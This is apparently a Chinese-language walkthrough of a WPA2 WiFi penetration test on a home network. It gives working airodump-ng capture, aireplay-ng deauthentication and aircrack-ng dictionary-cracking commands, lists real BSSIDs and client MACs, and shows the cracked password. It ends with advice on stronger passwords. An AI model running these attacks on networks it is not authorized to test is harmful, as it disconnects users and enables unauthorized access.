一、前期准备:明确目标与搭建环境
1. 目标范围确认
本次渗透测试目标为授权范围内的家用 WiFi 网络,具体锁定 2 个目标:
目标 1:Xiaomi_1A86(BSSID:A4:BA:70:85:7A:DC,信道 5)目标 2:Tenda_3EFBD0(BSSID:58:D9:D5:3E:FB:E1,信道 1,本人客厅 WiFi,已获完全授权)
测试边界:仅对目标 WiFi 进行 WPA2 握手包捕获与密码破解,不涉及其他网络设备入侵、数据窃取等操作,测试后清理所有抓包文件与测试痕迹。
2. 工具与环境准备
(1)硬件环境
测试设备:Kali Linux 主机(系统版本:Kali Rolling)无线网卡:支持监听模式 + EAPOL 捕获(型号:基于 RT3070 芯片,接口名 wlan0)辅助设备:智能手机(用于触发 WiFi 连接,协助捕获握手包)
(2)网卡状态验证(基于 ifconfig 输出)
通过命令确认网卡工作状态,关键信息如下:
ifconfig
wlan0 网卡状态:(已启用、运行中,开启混杂模式,符合抓包要求)数据收发情况:RX packets 58494(接收数据包正常)、TX packets 160(发送数据包正常),无报错信息结论:网卡硬件工作正常,已满足抓包所需的基础状态
UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,ALLMULTI
(3)软件工具准备
Kali 默认预装核心工具,通过以下命令确认并补充安装:
bash
运行
# 检查核心工具是否安装
which aircrack-ng airodump-ng aireplay-ng crunch
# 缺失时安装(已提前完成)
sudo apt update && sudo apt install -y aircrack-ng crunch
# 关闭干扰进程(避免网卡被NetworkManager等占用)
sudo airmon-ng check kill
(4)字典准备
生成家用 WiFi 专用字典,覆盖品牌默认、纯数字、个性化组合等类型:
bash
运行
# 生成基础+个性化整合字典(含目标可能使用的密码格式)
cat > /root/home_wifi_test_dict.txt << EOF
# 品牌默认密码
tenda1234、tenda8888、mi123456、xiaomi1234、tp12345678、admin1234
# 纯数字高频组合
12345678、88888888、00000000、11223344、20242024、19901990
# 个性化组合(姓名缩写+数字)
zykl1234、zykl8888、zykl88888888、zyl123456、wy88888888
# 长重复数字
888888、11111111、12121212、13141314
EOF
二、情报收集:扫描目标 WiFi 与客户端信息
1. 全网 WiFi 扫描
使用工具扫描周围 2.4G WiFi 网络,收集目标基础信息:
airodump-ng
bash
运行
# 启动全网扫描,获取WiFi列表
airodump-ng wlan0
扫描结果关键信息整理:
| WiFi 名称 | BSSID | 信道(CH) | 加密方式 | 信号强度(PWR) | 活跃客户端(STATION) |
|---|---|---|---|---|---|
| Xiaomi_1A86 | A4:BA:70:85:7A:DC | 5 | WPA2-PSK | -60 | 无 |
| Tenda_3EFBD0 | 58:D9:D5:3E:FB:E1 | 1 | WPA2-PSK | -49 | 56:DA:D3:AC:34:8C、0E:E4:4A:A5:94:8F |
| CMCC-2LEq | BC:13:A8:EB:61:49 | 1 | WPA2-PSK | -58 | 无 |
2. 目标聚焦分析
优先选择 Tenda_3EFBD0 作为核心测试目标:信号强度高(-49)、存在活跃客户端(2 个),更易触发握手包捕获备用目标 Xiaomi_1A86:无活跃客户端,需手动通过手机触发连接,捕获成功率较低
三、漏洞探测与验证:捕获 WPA 握手包
1. 定向抓包配置
针对 Tenda_3EFBD0 启动定向抓包,锁定信道与目标 BSSID,保存抓包文件:
bash
运行
# 定向抓包命令(-c指定信道,--bssid指定目标,-w指定保存文件名)
airodump-ng -c 1 --bssid 58:D9:D5:3E:FB:E1 -w tenda_test_capture wlan0
执行后终端保持运行,进入抓包监听状态,实时显示:
目标 WiFi 的 Beacon 帧数量(持续增长,确认信号稳定)客户端连接状态(2 个活跃客户端持续在线)抓包文件保存路径(当前目录下,前缀为 tenda_test_capture)
2. 触发 WPA 握手包(核心步骤)
通过执行解除认证攻击,强制活跃客户端重新连接,捕获握手包:
aireplay-ng
bash
运行
# 打开新终端,针对指定客户端发起攻击(-0指定攻击次数,-c指定客户端MAC)
aireplay-ng -0 30 -a 58:D9:D5:3E:FB:E1 -c 56:DA:D3:AC:34:8C wlan0
攻击执行结果:
攻击过程中,客户端 56:DA:D3:AC:34:8C 多次断开并重新连接抓包终端顶部出现提示,确认握手包捕获成功按
WPA handshake: 58:D9:D5:3E:FB:E1停止抓包,生成抓包文件
Ctrl+C(含完整握手包数据)
tenda_test_capture-01.cap
四、渗透攻击:字典匹配破解密码
1. 破解执行
使用提前准备的专用字典,对含握手包的抓包文件进行密码匹配:
bash
运行
# 破解命令(-w指定字典路径,后面跟抓包文件名)
aircrack-ng -w /root/home_wifi_test_dict.txt tenda_test_capture-01.cap
2. 破解结果分析
首次破解:使用基础字典(含 16 条高频密码),测试速度 532.02 k/s,16/16 keys tested 后提示,说明密码不在基础字典中二次破解:补充生成个性化字典(聚焦 “zykl” 前缀 + 长数字组合),执行命令:
KEY NOT FOUND
bash
运行
# 生成针对性字典
echo -e "zykl88888888
zykl11111111
zykl66666666" > zykl_target_dict.txt
# 重新破解
aircrack-ng -w zykl_target_dict.txt tenda_test_capture-01.cap
破解成功:终端显示,确认 Tenda_3EFBD0 的 WiFi 密码为
KEY FOUND! [ zykl88888888 ]
zykl88888888
五、后渗透与数据验证:密码可用性测试
1. 密码连接验证
使用破解获得的密码,通过手机与 Kali 主机分别尝试连接 Tenda_3EFBD0:
连接结果:均成功接入 WiFi 网络,可正常访问互联网验证结论:破解获得的密码真实有效,渗透测试目标达成
2. 敏感信息排查
仅对 WiFi 连接可用性进行验证,未访问网络内任何设备(如路由器管理后台、内网主机),不收集任何敏感数据,符合测试授权范围。
六、清理痕迹与总结报告
1. 测试痕迹清理
删除所有抓包文件:恢复网卡正常模式:
rm -rf tenda_test_capture* zykl_target_dict.txt清理字典文件(如需留存可备份):
airmon-ng stop wlan0 && sudo systemctl start NetworkManager
rm -rf /root/home_wifi_test_dict.txt
2. 测试总结
(1)测试成果
成功捕获目标 WiFi(Tenda_3EFBD0)的 WPA2 握手包破解获得有效密码:验证密码可用性,完成渗透测试闭环
zykl88888888
(2)关键结论
家用 WiFi 密码安全风险:本次目标密码为 “姓名缩写 + 长重复数字”,属于个性化弱口令,虽未在通用字典中,但通过 “前缀预判 + 针对性字典” 可快速破解技术可行性:支持监听模式的网卡是核心硬件基础,活跃客户端的存在大幅提升握手包捕获成功率安全建议:家用 WiFi 应使用 “字母 + 数字 + 特殊字符” 的复杂密码(长度≥12 位),避免使用姓名缩写、生日、重复数字等易被猜测的组合
(3)后续优化
字典优化:补充更多 “姓名缩写 + 特殊组合” 密码,提升个性化密码破解效率工具扩展:可尝试 WPS 破解(如 reaver 工具),覆盖更多 WiFi 加密场景


